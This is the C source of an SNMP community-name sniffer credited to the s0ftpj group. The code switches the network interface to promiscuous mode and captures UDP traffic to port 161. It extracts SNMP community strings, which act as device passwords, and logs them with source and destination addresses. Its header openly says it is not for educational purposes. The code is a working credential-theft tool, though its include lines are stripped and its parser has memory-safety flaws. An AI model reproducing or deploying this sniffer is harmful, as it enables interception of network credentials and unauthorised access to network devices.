/* * s0ftpj snmp community name sniffer. * nothing special. * * no(c) del0rean@s0ftpj.org * this is NOT for educational purpouse! :) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define IF "eth0" /* change thiz */ #define LOGFILE "logfile" /* change thiz */ #define IPHDR sizeof(struct iphdr) #define UDPHDR sizeof(struct udphdr) char *trip(char *bu); void ifsec(char *intf, int s); /* Welcome to a fantastic journey into an snmp packet */ /* We will search _only_ for the community name. */ /* let's go! :) */ char *trip(char *bu) { int i, ssize; char *name; i = 0; /* Primitive ASN.1 Types Identifier in hex * OCTET STRING 04 * General SNMP header * SEQUENCE { * version INTEGER {version-1(0)}, * community OCTET STRING, * data ANY -- PDUs * } */ while(bu[i++] != '\x04'); /* style ? uh! */ if(bu[i-1] == '\x04') { ssize = bu[i]; name = (char *)malloc(ssize); strncpy(name, (char *)&bu[i+1], ssize); return name; } return NULL; } void ifset(char *intf, int s) /* classic routines */ { struct ifreq ifr; strncpy(ifr.ifr_name, IF, strlen(IF)+1); if((ioctl(s, SIOCGIFFLAGS, &ifr) == -1)) { printf("couldn't obtain interface flags!\n"); exit(1); } ifr.ifr_flags |= IFF_PROMISC; if (ioctl (s, SIOCSIFFLAGS, &ifr) == -1 ) { printf("couldn't set promisc flag\n"); exit(2); } } int main() { FILE *log; int s, sl, brec, buflen; struct sockaddr_in sinn; struct iphdr *ip; struct udphdr *udp; char buf[255], *data; printf("\n--[ www.s0ftpj.org ]----------------------|\n"); printf("--[ s0ftpj snmp community name sniffer ]--|\n"); signal(SIGTERM,exit); /* ciao ciao vecna!! */ s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); ifset(IF, s); /* set promisc */ log = fopen(LOGFILE, "a"); if(log == NULL) printf("error opening logfile\n"); buflen = sizeof(buf); sl = sizeof(sinn); ip = (struct iphdr *)buf; udp = (struct udphdr *)(buf+IPHDR); while(1) { brec = recvfrom(s, (char *)&buf, buflen, 0, (struct sockaddr*)&sinn, &sl); if((ntohs(udp->dest)) == 161) { if(data = (trip(&buf[IPHDR+UDPHDR]))) { fprintf(log,"\nlook at that!\n"); fflush(log); fprintf(log,"*source ----> [%s]\n", (char *)inet_ntoa(ip->saddr)); fflush(log); fprintf(log,"*dest ------> [%s]\n", (char *)inet_ntoa(ip->daddr)); fflush(log); fprintf(log,"*Name ------> [%s]\n", data); fflush(log); } } } fclose(log); exit(0); }